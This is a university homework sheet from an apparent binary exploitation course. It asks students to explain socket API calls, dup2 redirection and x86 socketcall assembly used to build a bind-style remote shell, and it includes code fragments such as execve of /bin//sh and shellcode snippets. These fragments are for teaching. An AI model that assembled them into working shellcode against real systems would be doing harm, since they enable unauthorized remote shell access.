SI485H Stack Based Binary Exploits and Defenses
FALL 2015

NAME:______________________________

HW8

COLLABORATOR(S):______________________________

1.Complete below for each socket programm API call:

a) socket()
arguments:

5/3/1/0

return value:

description:

the function call as used to set up a remote shell:

b) bind()
arguments:

return value:

5/3/1/0

description:

the function call as used to set up a remote shell:

c)listen()
arguments:

return value:

5/3/1/0

description:

the function call as used to set up a remote shell:

__/15

NAME: ____________________________

d) accept()
arguments:

return value:

description:

5/3/1/0

the function call as used to set up a remote shell:

2. On most linux (intel-based machines), what is the difference between network byte order and host byte order? Use the htnos() function as an example in your answer.

5/3/1/0

3. Complete the code the **struct sockaddr_in**, such that the host binds to the address, 192.168.2.1 on port 582.

5/3/1/0

```
struct sockaddr_in host_addr;
memset(&(host_addr), '\0', sizeof(struct sockaddr_in));
host_addr.sin_family=
host_addr.sin_port=
host_addr.sin_addr.s_addr=
```

4. Explain how the following code snippet enables the **remote** part of setting up a remote shell with the newly accepted client socket **client**.

5/3/1/0

```
dup2(client, 0);
dup2(client, 1);
dup2(client, 2);
```

5. Modify (by annotating) the code snippet below such that multiple clients can connect and a new remote shell will be created for each connecting client:

10/8/5/1/0

```
client = accept(server,
     (struct sockaddr *) &client_addr,
      &sin_size);



dup2(client, 0);
dup2(client, 1);
dup2(client, 2);

char *args[2]={"/bin//sh", NULL};
execve(args[0], args, NULL);
```

___/30

NAME: ____________________________

6. For each of the socket API calls, translate them to the socketcall():

a) sockfd = socket(PF_INET, SOCK_STREAM, IPPROTO_IP)

5/3/1/0

b) bind(sockfd, &host_addr, sizeof(struct sockaddr)

5/3/1/0

c) listen(sockfd,4)

5/3/1/0

d) accept(sockfd, &client_addr, &sin_size)

5/3/1/0

7. Why is it neccesary for us to setup our own **syscall** to perform **socketcall**'s?

5/3/1/0

8. Describe the socketcall arguments from the assembly code:

a)

```
xor ecx,ecx
mov cl,0x2
push ecx
push esi ;sockfd

mov ecx, esp
xor ebx,ebx
mov bl, 0x4
xor eax,eax
mov al,0x66
int 0x80
```

5/3/1/0

b)

```
xor ecx,ecx
push ecx
push ecx
push esi ;sockfd

mov ecx,esp
xor ebx,ebx
mov bl, 0x5
xor eax,eax
mov al,0x66
int 0x80

mov edi,eax
```

5/3/1/0

__/35

NAME: ____________________________

c)

```
xor eax,eax
push eax
push 0x1
push 0x2
mov ecx,esp

xor ebx,ebx
mov bl,0x1
mov al,0x66
int 0x80

mov esi,eax
```

5/3/1/0

d)

```
xor eax,eax
push eax
push WORD 0xbeef
push WORD 0x02
mov ecx,esp


push 0x16
push ecx
push esi ;sockfd
xor ebx,ebx
mov bl,0x2
mov ecx,esp
mov al,0x66
int 0x80
```

5/3/1/0

10/8/5/1/0

9. If register **edx** stores the value for the socket file descriptor (**sockfd**), and **ecx** stores the value of an open file descriptor. Write the dup2() code in assembly such that all the standard output of commands executed on the shell will be sent to the open file descriptor as stored in **ecx**. Standard error output should be sent to the socket, however.

__/20